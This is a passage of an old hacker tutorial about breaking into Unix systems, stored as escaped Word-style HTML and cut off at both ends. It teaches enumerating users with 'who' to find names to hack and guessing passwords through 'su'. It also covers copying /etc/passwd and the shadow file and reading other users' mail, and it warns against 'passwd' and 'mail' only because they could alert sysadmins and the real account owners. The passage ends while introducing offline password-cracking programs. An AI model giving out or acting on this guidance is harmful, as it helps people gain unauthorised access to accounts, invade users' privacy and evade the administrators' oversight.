&amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;# cat my_other_file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;this is my file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Another vastly important command is 'man'. In fact, man is probably&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;one of the most important commands extant for a beginning user... it&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;calls up the system's help files. To use man, simply type in 'man&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;command', where command is a Unix command you seek to gain&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;enlightenment regarding. It's a great way to gain an understanding of&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Unix commandline parameters.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;If you are interested in seeing who's been on of late, or just want a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;few names to try to hack, type 'who'. You get a quick list of users&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;that have accessed the system lately. If you &lt;god&gt; need to know&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;who you are at this point, type 'whoami'.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;If you want to change your identity on the system, type 'su name'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;where name is an account on the system. It'll ask you for the account&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;password, then, *presto*... instant transmogrification.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;A Caveat for smart alec hackers:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;Unix typically logs usage of the su command. While su may seem like a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;great opportunity to try to hack out passwords manually without&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;worrying about the system hanging up after 3 attempts, it's typically&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;not a good idea to do this, as it may alert the administrators to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;your presence.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;*Numero Uno on the list of commands NEVER to use on a Unix system:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The 'passwd' command changes your password on a Unix system. Seems&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;innocous enough, eh? Uh-uh. If your account is active, and there's a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;very strong chance that it either is or will be, there is no better&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;way to lose the account than to change the password, only to have the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;legitimate user alert the sysadmins when he/she can't gain access to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;his/her normal account (well, there are better ways... you could&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;simply mail the sysadmin and tell him you are trying to hack his&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;grandmother's life support machine through your account).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;I've seen this single, quick command turn a extremely lax system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;into an ironclad security compound in less than a day.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;DONT-FUCK-WITH-IT.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;*Numero Dos on that same list:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The 'mail' command reads and sends mail. So what? Well, unless your&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;account is stable (and it isn't unless you either paid for it or&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;killed the original owner in such a way that his body cannot claw it's&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;way out of it's grave to it's keyboard), the user is more likely than&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;not going to know if you read his mail. In addition, if you send mail&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;out of the system (type 'mail', and a username/address; type in your&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;message and end it with a ^d on it's own line), the response from your&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;message will likewise alert the user to your presence.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;System Spelunking&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;-----------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The first place you want to check out in the wild uncharted directory&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;tree of your friendly neighborhood Unix system is the "/etc"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;directory. What's in it? The single most intensely important file on&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the system (besides a world writable root owned SUID file... but don't&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;worry about that)... the passwd file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;What is in the passwd file?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю&lt;span style=""&gt;  &lt;/span&gt;a list of all accounts on the system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю&lt;span style=""&gt;  &lt;/span&gt;a list of the passwords for these accounts&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю&lt;span style=""&gt;  &lt;/span&gt;a list of access levels for these accounts&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю&lt;span style=""&gt;  &lt;/span&gt;a list of the home directories for these accounts&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;ю&lt;span style=""&gt;  &lt;/span&gt;a list of information pertaining to these accounts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Why the hell the Unix designers decided this file should be world&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;readable is beyond me. Be content to know that your standard everyday&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;run-of-the-mill-lacking-in-certified-cosmic-power 'cat' command WILL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;display this file. As will pg and more. However, because most users&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;don't have write permissions (more on that later) to the /etc&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;directory, 'cat' is pretty much the only applicable command here.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;However, if you need to copy the file to your own directory (for&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;whatever reason), just cat it there with the directional operator (&gt;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The catch:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Well, there are two catches here. First off, regardless of system&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;security, if the passwords are in the file, they are encrypted. You&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;can't decrypt them. Although you can get a list of accounts without&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;passwords this way (just look for accounts with no entry in the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;password field), and a list of accounts that can't be logged onto&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;remotely/at all (NO LOGIN), you can't get much else. Sucks, don't it?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Notice I said 'if' the passwords are there.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;ominous&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Some horrible, paranoid, draconian system administrators mutilate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;their passwd files in such a way that (*gasp*) the passwords don't&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;show up. All you get is one cold, icy X staring at you from the bowels&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;of Unix Shell Siberia, mocking you as you pull your hair out in&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;frustration (sorry, but this is a sore spot with me). The kidnapped&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;passwords reside in the shadow file in the /etc directory, available&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;with your standard everyday run-of-the-mill-but-distinct-in-the-fact-&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;that-only-root-level-accounts-can-use-it-to-this-extent 'cat' command.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Well, if the passwords are encrypted, what good are they?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;By themselves, nothing. A account with a Unix encrypted password will&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;get you no further than an account with no listed password at all. You&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;can't even deduce the amount of characters in the password if it's&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;encrypted. So what's the use?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The Unix method of encrypting files is available to the public. It is&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;also, to most mortals, irreversable. Essentially, this means you can&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;encrypt a string of characters, but not decrypt it. Even the unix&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;system itself doesn't decrypt the password when you log on...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;When you log on, the Unix system takes whatever you enter at the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;password prompt, encrypts it, and matches it to the entry in the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;passwd file. Thus, the Unix system never decrypts the password... it&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;only compares it to a different encrypted string.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;While this may not sound too particularly useful at first, it is.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;There are programs that have been written to do the same thing on a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;personal computer... you supply it a list of passwords and a list 